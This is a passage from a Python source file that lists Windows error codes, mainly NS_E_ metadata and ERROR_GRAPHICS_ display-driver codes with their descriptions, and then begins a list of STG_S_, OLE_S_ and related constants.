0xC00D32D0: (\"NS_E_INVALID_QUERY_PROPERTY\", \"Invalid query property.\"),\n        0xC00D32D2: (\"NS_E_PROPERTY_NOT_SUPPORTED\", \"The property is not supported.\"),\n        0xC00D32D4: (\"NS_E_SCHEMA_CLASSIFY_FAILURE\", \"Schema classification failure.\"),\n        0xC00D32D5: (\"NS_E_METADATA_FORMAT_NOT_SUPPORTED\", \"The metadata format is not supported.\"),\n        0xC00D32D6: (\"NS_E_METADATA_NO_EDITING_CAPABILITY\", \"Cannot edit the metadata.\"),\n        0xC00D32D7: (\"NS_E_METADATA_CANNOT_SET_LOCALE\", \"Cannot set the locale id.\"),\n        0xC00D32D8: (\"NS_E_METADATA_LANGUAGE_NOT_SUPORTED\", \"The language is not supported in the format.\"),\n        0xC00D32D9: (\"NS_E_METADATA_NO_RFC1766_NAME_FOR_LOCALE\", \"There is no RFC1766 name translation for the supplied locale id.\"),\n        0xC00D32DA: (\"NS_E_METADATA_NOT_AVAILABLE\", \"The metadata (or metadata item) is not available.\"),\n        0xC00D32DB: (\"NS_E_METADATA_CACHE_DATA_NOT_AVAILABLE\", \"The cached metadata (or metadata item) is not available.\"),\n        0xC00D32DC: (\"NS_E_METADATA_INVALID_DOCUMENT_TYPE\", \"The metadata document is invalid.\"),\n        0xC00D32DD: (\"NS_E_METADATA_IDENTIFIER_NOT_AVAILABLE\", \"The metadata content identifier is not available.\"),\n        0xC00D32DE: (\"NS_E_METADATA_CANNOT_RETRIEVE_FROM_OFFLINE_CACHE\", \"Cannot retrieve metadata from the offline metadata cache.\"),\n        0xC0261003: (\"ERROR_MONITOR_INVALID_DESCRIPTOR_CHECKSUM\", \"Checksum of the obtained monitor descriptor is invalid.\"),\n        0xC0261004: (\"ERROR_MONITOR_INVALID_STANDARD_TIMING_BLOCK\", \"Monitor descriptor contains an invalid standard timing block.\"),\n        0xC0261005: (\"ERROR_MONITOR_WMI_DATABLOCK_REGISTRATION_FAILED\", \"Windows Management Instrumentation (WMI) data block registration failed for one of the MSMonitorClass WMI subclasses.\"),\n        0xC0261006: (\"ERROR_MONITOR_INVALID_SERIAL_NUMBER_MONDSC_BLOCK\", \"Provided monitor descriptor block is either corrupted or does not contain the monitor's detailed serial number.\"),\n        0xC0261007: (\"ERROR_MONITOR_INVALID_USER_FRIENDLY_MONDSC_BLOCK\", \"Provided monitor descriptor block is either corrupted or does not contain the monitor's user-friendly name.\"),\n        0xC0261008: (\"ERROR_MONITOR_NO_MORE_DESCRIPTOR_DATA\", \"There is no monitor descriptor data at the specified (offset, size) region.\"),\n        0xC0261009: (\"ERROR_MONITOR_INVALID_DETAILED_TIMING_BLOCK\", \"Monitor descriptor contains an invalid detailed timing block.\"),\n        0xC0262000: (\"ERROR_GRAPHICS_NOT_EXCLUSIVE_MODE_OWNER\", \"Exclusive mode ownership is needed to create unmanaged primary allocation.\"),\n        0xC0262001: (\"ERROR_GRAPHICS_INSUFFICIENT_DMA_BUFFER\", \"The driver needs more direct memory access (DMA) buffer space to complete the requested operation.\"),\n        0xC0262002: (\"ERROR_GRAPHICS_INVALID_DISPLAY_ADAPTER\", \"Specified display adapter handle is invalid.\"),\n        0xC0262003: (\"ERROR_GRAPHICS_ADAPTER_WAS_RESET\", \"Specified display adapter and all of its state has been reset.\"),\n        0xC0262004: (\"ERROR_GRAPHICS_INVALID_DRIVER_MODEL\", \"The driver stack does not match the expected driver model.\"),\n        0xC0262005: (\"ERROR_GRAPHICS_PRESENT_MODE_CHANGED\", \"Present happened but ended up into the changed desktop mode.\"),\n        0xC0262006: (\"ERROR_GRAPHICS_PRESENT_OCCLUDED\", \"Nothing to present due to desktop occlusion.\"),\n        0xC0262007: (\"ERROR_GRAPHICS_PRESENT_DENIED\", \"Not able to present due to denial of desktop access.\"),\n        0xC0262008: (\"ERROR_GRAPHICS_CANNOTCOLORCONVERT\", \"Not able to present with color conversion.\"),\n        0xC0262100: (\"ERROR_GRAPHICS_NO_VIDEO_MEMORY\", \"Not enough video memory available to complete the operation.\"),\n        0xC0262101: (\"ERROR_GRAPHICS_CANT_LOCK_MEMORY\", \"Could not probe and lock the underlying memory of an allocation.\"),\n        0xC0262102: (\"ERROR_GRAPHICS_ALLOCATION_BUSY\", \"The allocation is currently busy.\"),\n        0xC0262103: (\"ERROR_GRAPHICS_TOO_MANY_REFERENCES\", \"An object being referenced has reach the maximum reference count already and cannot be referenced further.\"),\n        0xC0262104: (\"ERROR_GRAPHICS_TRY_AGAIN_LATER\", \"A problem could not be solved due to some currently existing condition. The problem should be tried again later.\"),\n        0xC0262105: (\"ERROR_GRAPHICS_TRY_AGAIN_NOW\", \"A problem could not be solved due to some currently existing condition. The problem should be tried again immediately.\"),\n        0xC0262106: (\"ERROR_GRAPHICS_ALLOCATION_INVALID\", \"The allocation is invalid.\"),\n        0xC0262107: (\"ERROR_GRAPHICS_UNSWIZZLING_APERTURE_UNAVAILABLE\", \"No more unswizzling apertures are currently available.\"),\n        0xC0262108: (\"ERROR_GRAPHICS_UNSWIZZLING_APERTURE_UNSUPPORTED\", \"The current allocation cannot be unswizzled by an aperture.\"),\n        0xC0262109: (\"ERROR_GRAPHICS_CANT_EVICT_PINNED_ALLOCATION\", \"The request failed because a pinned allocation cannot be evicted.\"),\n        0xC0262110: (\"ERROR_GRAPHICS_INVALID_ALLOCATION_USAGE\", \"The allocation cannot be used from its current segment location for the specified operation.\"),\n        0xC0262111: (\"ERROR_GRAPHICS_CANT_RENDER_LOCKED_ALLOCATION\", \"A locked allocation cannot be used in the current command buffer.\"),\n        0xC0262112: (\"ERROR_GRAPHICS_ALLOCATION_CLOSED\", \"The allocation being referenced has been closed permanently.\"),\n        0xC0262113: (\"ERROR_GRAPHICS_INVALID_ALLOCATION_INSTANCE\", \"An invalid allocation instance is being referenced.\"),\n        0xC0262114: (\"ERROR_GRAPHICS_INVALID_ALLOCATION_HANDLE\", \"An invalid allocation handle is being referenced.\"),\n        0xC0262115: (\"ERROR_GRAPHICS_WRONG_ALLOCATION_DEVICE\", \"The allocation being referenced does not belong to the current device.\"),\n        0xC0262116: (\"ERROR_GRAPHICS_ALLOCATION_CONTENT_LOST\", \"The specified allocation lost its content.\"),\n        0xC0262200: (\"ERROR_GRAPHICS_GPU_EXCEPTION_ON_DEVICE\", \"Graphics processing unit (GPU) exception is detected on the given device. The device is not able to be scheduled.\"),\n        0xC0262300: (\"ERROR_GRAPHICS_INVALID_VIDPN_TOPOLOGY\", \"Specified video present network (VidPN) topology is invalid.\"),\n        0xC0262301: (\"ERROR_GRAPHICS_VIDPN_TOPOLOGY_NOT_SUPPORTED\", \"Specified VidPN topology is valid but is not supported by this model of the display adapter.\"),\n        0xC0262302: (\"ERROR_GRAPHICS_VIDPN_TOPOLOGY_CURRENTLY_NOT_SUPPORTED\", \"Specified VidPN topology is valid but is not supported by the display adapter at this time, due to current allocation of its resources.\"),\n        0xC0262303: (\"ERROR_GRAPHICS_INVALID_VIDPN\", \"Specified VidPN handle is invalid.\"),\n        0xC0262304: (\"ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE\", \"Specified video present source is invalid.\"),\n        0xC0262305: (\"ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET\", \"Specified video present target is invalid.\"),\n        0xC0262306: (\"ERROR_GRAPHICS_VIDPN_MODALITY_NOT_SUPPORTED\", \"Specified VidPN modality is not supported (for example, at least two of the pinned modes are not cofunctional).\"),\n        0xC0262308: (\"ERROR_GRAPHICS_INVALID_VIDPN_SOURCEMODESET\", \"Specified VidPN source mode set is invalid.\"),\n        0xC0262309: (\"ERROR_GRAPHICS_INVALID_VIDPN_TARGETMODESET\", \"Specified VidPN target mode set is invalid.\"),\n        0xC026230A: (\"ERROR_GRAPHICS_INVALID_FREQUENCY\", \"Specified video signal frequency is invalid.\"),\n        0xC026230B: (\"ERROR_GRAPHICS_INVALID_ACTIVE_REGION\", \"Specified video signal active region is invalid.\"),\n        0xC026230C: (\"ERROR_GRAPHICS_INVALID_TOTAL_REGION\", \"Specified video signal total region is invalid.\"),\n        0xC0262310: (\"ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE_MODE\", \"Specified video present source mode is invalid.\"),\n        0xC0262311: (\"ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET_MODE\", \"Specified video present target mode is invalid.\"),\n        0xC0262312: (\"ERROR_GRAPHICS_PINNED_MODE_MUST_REMAIN_IN_SET\", \"Pinned mode must remain in the set on VidPN's cofunctional modality enumeration.\"),\n        0xC0262313: (\"ERROR_GRAPHICS_PATH_ALREADY_IN_TOPOLOGY\", \"Specified video present path is already in the VidPN topology.\"),\n        0xC0262314: (\"ERROR_GRAPHICS_MODE_ALREADY_IN_MODESET\", \"Specified mode is already in the mode set.\"),\n        0xC0262315: (\"ERROR_GRAPHICS_INVALID_VIDEOPRESENTSOURCESET\", \"Specified video present source set is invalid.\"),\n        0xC0262316: (\"ERROR_GRAPHICS_INVALID_VIDEOPRESENTTARGETSET\", \"Specified video present target set is invalid.\"),\n        0xC0262317: (\"ERROR_GRAPHICS_SOURCE_ALREADY_IN_SET\", \"Specified video present source is already in the video present source set.\"),\n        0xC0262318: (\"ERROR_GRAPHICS_TARGET_ALREADY_IN_SET\", \"Specified video present target is already in the video present target set.\"),\n        0xC0262319: (\"ERROR_GRAPHICS_INVALID_VIDPN_PRESENT_PATH\", \"Specified VidPN present path is invalid.\"),\n        0xC026231A: (\"ERROR_GRAPHICS_NO_RECOMMENDED_VIDPN_TOPOLOGY\", \"Miniport has no recommendation for augmentation of the specified VidPN topology.\"),\n        0xC026231B: (\"ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGESET\", \"Specified monitor frequency range set is invalid.\"),\n        0xC026231C: (\"ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE\", \"Specified monitor frequency range is invalid.\"),\n        0xC026231D: (\"ERROR_GRAPHICS_FREQUENCYRANGE_NOT_IN_SET\", \"Specified frequency range is not in the specified monitor frequency range set.\"),\n        0xC026231F: (\"ERROR_GRAPHICS_FREQUENCYRANGE_ALREADY_IN_SET\", \"Specified frequency range is already in the specified monitor frequency range set.\"),\n        0xC0262320: (\"ERROR_GRAPHICS_STALE_MODESET\", \"Specified mode set is stale. Reacquire the new mode set.\"),\n        0xC0262321: (\"ERROR_GRAPHICS_INVALID_MONITOR_SOURCEMODESET\", \"Specified monitor source mode set is invalid.\"),\n        0xC0262322: (\"ERROR_GRAPHICS_INVALID_MONITOR_SOURCE_MODE\", \"Specified monitor source mode is invalid.\"),\n        0xC0262323: (\"ERROR_GRAPHICS_NO_RECOMMENDED_FUNCTIONAL_VIDPN\", \"Miniport does not have any recommendation regarding the request to provide a functional VidPN given the current display adapter configuration.\"),\n        0xC0262324: (\"ERROR_GRAPHICS_MODE_ID_MUST_BE_UNIQUE\", \"ID of the specified mode is already used by another mode in the set.\"),\n        0xC0262325: (\"ERROR_GRAPHICS_EMPTY_ADAPTER_MONITOR_MODE_SUPPORT_INTERSECTION\", \"System failed to determine a mode that is supported by both the display adapter and the monitor connected to it.\"),\n        0xC0262326: (\"ERROR_GRAPHICS_VIDEO_PRESENT_TARGETS_LESS_THAN_SOURCES\", \"Number of video present targets must be greater than or equal to the number of video present sources.\"),\n        0xC0262327: (\"ERROR_GRAPHICS_PATH_NOT_IN_TOPOLOGY\", \"Specified present path is not in the VidPN topology.\"),\n        0xC0262328: (\"ERROR_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_SOURCE\", \"Display adapter must have at least one video present source.\"),\n        0xC0262329: (\"ERROR_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_TARGET\", \"Display adapter must have at least one video present target.\"),\n        0xC026232A: (\"ERROR_GRAPHICS_INVALID_MONITORDESCRIPTORSET\", \"Specified monitor descriptor set is invalid.\"),\n        0xC026232B: (\"ERROR_GRAPHICS_INVALID_MONITORDESCRIPTOR\", \"Specified monitor descriptor is invalid.\"),\n        0xC026232C: (\"ERROR_GRAPHICS_MONITORDESCRIPTOR_NOT_IN_SET\", \"Specified descriptor is not in the specified monitor descriptor set.\"),\n        0xC026232D: (\"ERROR_GRAPHICS_MONITORDESCRIPTOR_ALREADY_IN_SET\", \"Specified descriptor is already in the specified monitor descriptor set.\"),\n        0xC026232E: (\"ERROR_GRAPHICS_MONITORDESCRIPTOR_ID_MUST_BE_UNIQUE\", \"ID of the specified monitor descriptor is already used by another descriptor in the set.\"),\n        0xC026232F: (\"ERROR_GRAPHICS_INVALID_VIDPN_TARGET_SUBSET_TYPE\", \"Specified video present target subset type is invalid.\"),\n        0xC0262330: (\"ERROR_GRAPHICS_RESOURCES_NOT_RELATED\", \"Two or more of the specified resources are not related to each other, as defined by the interface semantics.\"),\n        0xC0262331: (\"ERROR_GRAPHICS_SOURCE_ID_MUST_BE_UNIQUE\", \"ID of the specified video present source is already used by another source in the set.\"),\n        0xC0262332: (\"ERROR_GRAPHICS_TARGET_ID_MUST_BE_UNIQUE\", \"ID of the specified video present target is already used by another target in the set.\"),\n        0xC0262333: (\"ERROR_GRAPHICS_NO_AVAILABLE_VIDPN_TARGET\", \"Specified VidPN source cannot be used because there is no available VidPN target to connect it to.\"),\n        0xC0262334: (\"ERROR_GRAPHICS_MONITOR_COULD_NOT_BE_ASSOCIATED_WITH_ADAPTER\", \"Newly arrived monitor could not be associated with a display adapter.\"),\n        0xC0262335: (\"ERROR_GRAPHICS_NO_VIDPNMGR\", \"Display adapter in question does not have an associated VidPN manager.\"),\n        0xC0262336: (\"ERROR_GRAPHICS_NO_ACTIVE_VIDPN\", \"VidPN manager of the display adapter in question does not have an active VidPN.\"),\n        0xC0262337: (\"ERROR_GRAPHICS_STALE_VIDPN_TOPOLOGY\", \"Specified VidPN topology is stale. Re-acquire the new topology.\"),\n        0xC0262338: (\"ERROR_GRAPHICS_MONITOR_NOT_CONNECTED\", \"There is no monitor connected on the specified video present target.\"),\n        0xC0262339: (\"ERROR_GRAPHICS_SOURCE_NOT_IN_TOPOLOGY\", \"Specified source is not part of the specified VidPN topology.\"),\n        0xC026233A: (\"ERROR_GRAPHICS_INVALID_PRIMARYSURFACE_SIZE\", \"Specified primary surface size is invalid.\"),\n        0xC026233B: (\"ERROR_GRAPHICS_INVALID_VISIBLEREGION_SIZE\", \"Specified visible region size is invalid.\"),\n        0xC026233C: (\"ERROR_GRAPHICS_INVALID_STRIDE\", \"Specified stride is invalid.\"),\n        0xC026233D: (\"ERROR_GRAPHICS_INVALID_PIXELFORMAT\", \"Specified pixel format is invalid.\"),\n        0xC026233E: (\"ERROR_GRAPHICS_INVALID_COLORBASIS\", \"Specified color basis is invalid.\"),\n        0xC026233F: (\"ERROR_GRAPHICS_INVALID_PIXELVALUEACCESSMODE\", \"Specified pixel value access mode is invalid.\"),\n        0xC0262340: (\"ERROR_GRAPHICS_TARGET_NOT_IN_TOPOLOGY\", \"Specified target is not part of the specified VidPN topology.\"),\n        0xC0262341: (\"ERROR_GRAPHICS_NO_DISPLAY_MODE_MANAGEMENT_SUPPORT\", \"Failed to acquire display mode management interface.\"),\n        0xC0262342: (\"ERROR_GRAPHICS_VIDPN_SOURCE_IN_USE\", \"Specified VidPN source is already owned by a display mode manager (DMM) client and cannot be used until that client releases it.\"),\n        0xC0262343: (\"ERROR_GRAPHICS_CANT_ACCESS_ACTIVE_VIDPN\", \"Specified VidPN is active and cannot be accessed.\"),\n        0xC0262344: (\"ERROR_GRAPHICS_INVALID_PATH_IMPORTANCE_ORDINAL\", \"Specified VidPN present path importance ordinal is invalid.\"),\n        0xC0262345: (\"ERROR_GRAPHICS_INVALID_PATH_CONTENT_GEOMETRY_TRANSFORMATION\", \"Specified VidPN present path content geometry transformation is invalid.\"),\n        0xC0262346: (\"ERROR_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_SUPPORTED\", \"Specified content geometry transformation is not supported on the respective VidPN present path.\"),\n        0xC0262347: (\"ERROR_GRAPHICS_INVALID_GAMMA_RAMP\", \"Specified gamma ramp is invalid.\"),\n        0xC0262348: (\"ERROR_GRAPHICS_GAMMA_RAMP_NOT_SUPPORTED\", \"Specified gamma ramp is not supported on the respective VidPN present path.\"),\n        0xC0262349: (\"ERROR_GRAPHICS_MULTISAMPLING_NOT_SUPPORTED\", \"Multisampling is not supported on the respective VidPN present path.\"),\n        0xC026234A: (\"ERROR_GRAPHICS_MODE_NOT_IN_MODESET\", \"Specified mode is not in the specified mode set.\"),\n        0xC026234D: (\"ERROR_GRAPHICS_INVALID_VIDPN_TOPOLOGY_RECOMMENDATION_REASON\", \"Specified VidPN topology recommendation reason is invalid.\"),\n        0xC026234E: (\"ERROR_GRAPHICS_INVALID_PATH_CONTENT_TYPE\", \"Specified VidPN present path content type is invalid.\"),\n        0xC026234F: (\"ERROR_GRAPHICS_INVALID_COPYPROTECTION_TYPE\", \"Specified VidPN present path copy protection type is invalid.\"),\n        0xC0262350: (\"ERROR_GRAPHICS_UNASSIGNED_MODESET_ALREADY_EXISTS\", \"No more than one unassigned mode set can exist at any given time for a given VidPN source or target.\"),\n        0xC0262352: (\"ERROR_GRAPHICS_INVALID_SCANLINE_ORDERING\", \"The specified scan line ordering type is invalid.\"),\n        0xC0262353: (\"ERROR_GRAPHICS_TOPOLOGY_CHANGES_NOT_ALLOWED\", \"Topology changes are not allowed for the specified VidPN.\"),\n        0xC0262354: (\"ERROR_GRAPHICS_NO_AVAILABLE_IMPORTANCE_ORDINALS\", \"All available importance ordinals are already used in the specified topology.\"),\n        0xC0262355: (\"ERROR_GRAPHICS_INCOMPATIBLE_PRIVATE_FORMAT\", \"Specified primary surface has a different private format attribute than the current primary surface.\"),\n        0xC0262356: (\"ERROR_GRAPHICS_INVALID_MODE_PRUNING_ALGORITHM\", \"Specified mode pruning algorithm is invalid.\"),\n        0xC0262400: (\"ERROR_GRAPHICS_SPECIFIED_CHILD_ALREADY_CONNECTED\", \"Specified display adapter child device already has an external device connected to it.\"),\n        0xC0262401: (\"ERROR_GRAPHICS_CHILD_DESCRIPTOR_NOT_SUPPORTED\", \"The display adapter child device does not support reporting a descriptor.\"),\n        0xC0262430: (\"ERROR_GRAPHICS_NOT_A_LINKED_ADAPTER\", \"The display adapter is not linked to any other adapters.\"),\n        0xC0262431: (\"ERROR_GRAPHICS_LEADLINK_NOT_ENUMERATED\", \"Lead adapter in a linked configuration was not enumerated yet.\"),\n        0xC0262432: (\"ERROR_GRAPHICS_CHAINLINKS_NOT_ENUMERATED\", \"Some chain adapters in a linked configuration were not enumerated yet.\"),\n        0xC0262433: (\"ERROR_GRAPHICS_ADAPTER_CHAIN_NOT_READY\", \"The chain of linked adapters is not ready to start because of an unknown failure.\"),\n        0xC0262434: (\"ERROR_GRAPHICS_CHAINLINKS_NOT_STARTED\", \"An attempt was made to start a lead link display adapter when the chain links were not started yet.\"),\n        0xC0262435: (\"ERROR_GRAPHICS_CHAINLINKS_NOT_POWERED_ON\", \"An attempt was made to turn on a lead link display adapter when the chain links were turned off.\"),\n        0xC0262436: (\"ERROR_GRAPHICS_INCONSISTENT_DEVICE_LINK_STATE\", \"The adapter link was found to be in an inconsistent state. Not all adapters are in an expected PNP or power state.\"),\n        0xC0262438: (\"ERROR_GRAPHICS_NOT_POST_DEVICE_DRIVER\", \"The driver trying to start is not the same as the driver for the posted display adapter.\"),\n        0xC0262500: (\"ERROR_GRAPHICS_OPM_NOT_SUPPORTED\", \"The driver does not support Output Protection Manager (OPM).\"),\n        0xC0262501: (\"ERROR_GRAPHICS_COPP_NOT_SUPPORTED\", \"The driver does not support Certified Output Protection Protocol (COPP).\"),\n        0xC0262502: (\"ERROR_GRAPHICS_UAB_NOT_SUPPORTED\", \"The driver does not support a user-accessible bus (UAB).\"),\n        0xC0262503: (\"ERROR_GRAPHICS_OPM_INVALID_ENCRYPTED_PARAMETERS\", \"The specified encrypted parameters are invalid.\"),\n        0xC0262504: (\"ERROR_GRAPHICS_OPM_PARAMETER_ARRAY_TOO_SMALL\", \"An array passed to a function cannot hold all of the data that the function wants to put in it.\"),\n        0xC0262505: (\"ERROR_GRAPHICS_OPM_NO_VIDEO_OUTPUTS_EXIST\", \"The GDI display device passed to this function does not have any active video outputs.\"),\n        0xC0262506: (\"ERROR_GRAPHICS_PVP_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME\", \"The protected video path (PVP) cannot find an actual GDI display device that corresponds to the passed-in GDI display device name.\"),\n        0xC0262507: (\"ERROR_GRAPHICS_PVP_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP\", \"This function failed because the GDI display device passed to it was not attached to the Windows desktop.\"),\n        0xC0262508: (\"ERROR_GRAPHICS_PVP_MIRRORING_DEVICES_NOT_SUPPORTED\", \"The PVP does not support mirroring display devices because they do not have video outputs.\"),\n        0xC026250A: (\"ERROR_GRAPHICS_OPM_INVALID_POINTER\", \"The function failed because an invalid pointer parameter was passed to it. A pointer parameter is invalid if it is null, it points to an invalid address, it points to a kernel mode address, or it is not correctly aligned.\"),\n        0xC026250B: (\"ERROR_GRAPHICS_OPM_INTERNAL_ERROR\", \"An internal error caused this operation to fail.\"),\n        0xC026250C: (\"ERROR_GRAPHICS_OPM_INVALID_HANDLE\", \"The function failed because the caller passed in an invalid OPM user mode handle.\"),\n        0xC026250D: (\"ERROR_GRAPHICS_PVP_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE\", \"This function failed because the GDI device passed to it did not have any monitors associated with it.\"),\n        0xC026250E: (\"ERROR_GRAPHICS_PVP_INVALID_CERTIFICATE_LENGTH\", \"A certificate could not be returned because the certificate buffer passed to the function was too small.\"),\n        0xC026250F: (\"ERROR_GRAPHICS_OPM_SPANNING_MODE_ENABLED\", \"A video output could not be created because the frame buffer is in spanning mode.\"),\n        0xC0262510: (\"ERROR_GRAPHICS_OPM_THEATER_MODE_ENABLED\", \"A video output could not be created because the frame buffer is in theater mode.\"),\n        0xC0262511: (\"ERROR_GRAPHICS_PVP_HFS_FAILED\", \"The function call failed because the display adapter's hardware functionality scan failed to validate the graphics hardware.\"),\n        0xC0262512: (\"ERROR_GRAPHICS_OPM_INVALID_SRM\", \"The High-Bandwidth Digital Content Protection (HDCP) System Renewability Message (SRM) passed to this function did not comply with section 5 of the HDCP 1.1 specification.\"),\n        0xC0262513: (\"ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_HDCP\", \"The video output cannot enable the HDCP system because it does not support it.\"),\n        0xC0262514: (\"ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_ACP\", \"The video output cannot enable analog copy protection because it does not support it.\"),\n        0xC0262515: (\"ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_CGMSA\", \"The video output cannot enable the Content Generation Management System Analog (CGMS-A) protection technology because it does not support it.\"),\n        0xC0262516: (\"ERROR_GRAPHICS_OPM_HDCP_SRM_NEVER_SET\", \"IOPMVideoOutput's GetInformation() method cannot return the version of the SRM being used because the application never successfully passed an SRM to the video output.\"),\n        0xC0262517: (\"ERROR_GRAPHICS_OPM_RESOLUTION_TOO_HIGH\", \"IOPMVideoOutput's Configure() method cannot enable the specified output protection technology because the output's screen resolution is too high.\"),\n        0xC0262518: (\"ERROR_GRAPHICS_OPM_ALL_HDCP_HARDWARE_ALREADY_IN_USE\", \"IOPMVideoOutput's Configure() method cannot enable HDCP because the display adapter's HDCP hardware is already being used by other physical outputs.\"),\n        0xC0262519: (\"ERROR_GRAPHICS_OPM_VIDEO_OUTPUT_NO_LONGER_EXISTS\", \"The operating system asynchronously destroyed this OPM video output because the operating system's state changed. This error typically occurs because the monitor physical device object (PDO) associated with this video output was removed, the monitor PDO associated with this video output was stopped, the video output's session became a nonconsole session or the video output's desktop became an inactive desktop.\"),\n        0xC026251A: (\"ERROR_GRAPHICS_OPM_SESSION_TYPE_CHANGE_IN_PROGRESS\", \"IOPMVideoOutput's methods cannot be called when a session is changing its type. There are currently three types of sessions: console, disconnected and remote (remote desktop protocol [RDP] or Independent Computing Architecture [ICA]).\"),\n        0xC0262580: (\"ERROR_GRAPHICS_I2C_NOT_SUPPORTED\", \"The monitor connected to the specified video output does not have an I2C bus.\"),\n        0xC0262581: (\"ERROR_GRAPHICS_I2C_DEVICE_DOES_NOT_EXIST\", \"No device on the I2C bus has the specified address.\"),\n        0xC0262582: (\"ERROR_GRAPHICS_I2C_ERROR_TRANSMITTING_DATA\", \"An error occurred while transmitting data to the device on the I2C bus.\"),\n        0xC0262583: (\"ERROR_GRAPHICS_I2C_ERROR_RECEIVING_DATA\", \"An error occurred while receiving data from the device on the I2C bus.\"),\n        0xC0262584: (\"ERROR_GRAPHICS_DDCCI_VCP_NOT_SUPPORTED\", \"The monitor does not support the specified Virtual Control Panel (VCP) code.\"),\n        0xC0262585: (\"ERROR_GRAPHICS_DDCCI_INVALID_DATA\", \"The data received from the monitor is invalid.\"),\n        0xC0262586: (\"ERROR_GRAPHICS_DDCCI_MONITOR_RETURNED_INVALID_TIMING_STATUS_BYTE\", \"A function call failed because a monitor returned an invalid Timing Status byte when the operating system used the Display Data Channel Command Interface (DDC/CI) Get Timing Report and Timing Message command to get a timing report from a monitor.\"),\n        0xC0262587: (\"ERROR_GRAPHICS_MCA_INVALID_CAPABILITIES_STRING\", \"The monitor returned a DDC/CI capabilities string that did not comply with the ACCESS.bus 3.0, DDC/CI 1.1 or MCCS 2 Revision 1 specification.\"),\n        0xC0262588: (\"ERROR_GRAPHICS_MCA_INTERNAL_ERROR\", \"An internal Monitor Configuration API error occurred.\"),\n        0xC0262589: (\"ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_COMMAND\", \"An operation failed because a DDC/CI message had an invalid value in its command field.\"),\n        0xC026258A: (\"ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_LENGTH\", \"This error occurred because a DDC/CI message length field contained an invalid value.\"),\n        0xC026258B: (\"ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_CHECKSUM\", \"This error occurred because the value in a DDC/CI message checksum field did not match the message's computed checksum value. This error implies that the data was corrupted while it was being transmitted from a monitor to a computer.\"),\n        0xC02625D6: (\"ERROR_GRAPHICS_PMEA_INVALID_MONITOR\", \"The HMONITOR no longer exists, is not attached to the desktop, or corresponds to a mirroring device.\"),\n        0xC02625D7: (\"ERROR_GRAPHICS_PMEA_INVALID_D3D_DEVICE\", \"The Direct3D (D3D) device's GDI display device no longer exists, is not attached to the desktop, or is a mirroring display device.\"),\n        0xC02625D8: (\"ERROR_GRAPHICS_DDCCI_CURRENT_CURRENT_VALUE_GREATER_THAN_MAXIMUM_VALUE\", \"A continuous VCP code's current value is greater than its maximum value. This error code indicates that a monitor returned an invalid value.\"),\n        0xC02625D9: (\"ERROR_GRAPHICS_MCA_INVALID_VCP_VERSION\", \"The monitor's VCP Version (0xDF) VCP code returned an invalid version value.\"),\n        0xC02625DA: (\"ERROR_GRAPHICS_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION\", \"The monitor does not comply with the Monitor Control Command Set (MCCS) specification it claims to support.\"),\n        0xC02625DB: (\"ERROR_GRAPHICS_MCA_MCCS_VERSION_MISMATCH\", \"The MCCS version in a monitor's mccs_ver capability does not match the MCCS version the monitor reports when the VCP Version (0xDF) VCP code is used.\"),\n        0xC02625DC: (\"ERROR_GRAPHICS_MCA_UNSUPPORTED_MCCS_VERSION\", \"The Monitor Configuration API only works with monitors that support the MCCS 1.0 specification, the MCCS 2.0 specification, or the MCCS 2.0 Revision 1 specification.\"),\n        0xC02625DE: (\"ERROR_GRAPHICS_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED\", \"The monitor returned an invalid monitor technology type. CRT, plasma, and LCD (TFT) are examples of monitor technology types. This error implies that the monitor violated the MCCS 2.0 or MCCS 2.0 Revision 1 specification.\"),\n        0xC02625DF: (\"ERROR_GRAPHICS_MCA_UNSUPPORTED_COLOR_TEMPERATURE\", \"The SetMonitorColorTemperature() caller passed a color temperature to it that the current monitor did not support. CRT, plasma, and LCD (TFT) are examples of monitor technology types. This error implies that the monitor violated the MCCS 2.0 or MCCS 2.0 Revision 1 specification.\"),\n        0xC02625E0: (\"ERROR_GRAPHICS_ONLY_CONSOLE_SESSION_SUPPORTED\", \"This function can be used only if a program is running in the local console session. It cannot be used if the program is running on a remote desktop session or on a terminal server session.\"),\n}\n\n# Error Codes\n\nSTG_S_CONVERTED                                              = 0x00030200\nSTG_S_BLOCK                                                  = 0x00030201\nSTG_S_RETRYNOW                                               = 0x00030202\nSTG_S_MONITORING                                             = 0x00030203\nSTG_S_MULTIPLEOPENS                                          = 0x00030204\nSTG_S_CONSOLIDATIONFAILED                                    = 0x00030205\nSTG_S_CANNOTCONSOLIDATE                                      = 0x00030206\nOLE_S_USEREG                                                 = 0x00040000\nOLE_S_STATIC                                                 = 0x00040001\nOLE_S_MAC_CLIPFORMAT                                         = 0x00040002\nDRAGDROP_S_DROP                                              = 0x00040100\nDRAGDROP_S_CANCEL                                            = 0x00040101\nDRAGDROP_S_USEDEFAULTCURSORS                                 = 0x00040102\nDATA_S_SAMEFORMATETC                                         = 0x00040130\nVIEW_S_ALREADY_FROZEN                                        = 0x00040140\nCACHE_S_FORMATETC_NOTSUPPORTED                               = 0x00040170\nCACHE_S_SAMECACHE                                            = 0x00040171\nCACHE_S_SOMECACHES_NOTUPDATED                                = 0x00040172\nOLEOBJ_S_INVALIDVERB                                         = 0x00040180\nOLEOBJ_S_CANNOT_DOVERB_NOW                                   = 0x00040181\nOLEOBJ_S_INVALIDHWND                                         = 0x00040182\nINPLACE_S_TRUNCATED                                          = 